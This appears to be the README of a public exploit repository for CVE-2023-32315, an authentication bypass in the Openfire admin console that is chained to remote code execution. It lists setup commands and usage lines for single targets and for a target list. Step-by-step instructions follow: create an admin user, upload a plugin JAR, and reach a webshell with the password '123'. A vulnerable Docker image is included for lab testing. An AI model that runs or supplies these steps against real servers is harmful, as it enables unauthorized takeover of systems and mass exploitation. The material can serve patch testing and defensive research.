Openfire Console Authentication Bypass Vulnerability with RCE plugin# CVE-2023-32315
Openfire Console Authentication Bypass Vulnerability with RCE plugin
## Setup
```
git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt
```
## Usage
```
python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt
```
### Step
1. Run exploit
2. login with newly added user
3. goto tab plugin > upload plugin `openfire-management-tool-plugin.jar`
4. goto tab server > server settings > Management tool
5. Access websehll with password "123"
## Vulnerable Openfire Docker
```
docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1
```
## Reference
- https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
- https://github.com/5rGJ5aCh5oCq5YW9/CVE-2023-32315exp
[4.0K] /data/pocs/6b9dd0e107ba2200230a535c72ab0844c3adce72
├── [6.7K] CVE-2023-32315.py
├── [ 30K] openfire-management-tool-plugin.jar
├── [ 935] README.md
└── [ 12] requirements.txt
0 directories, 4 files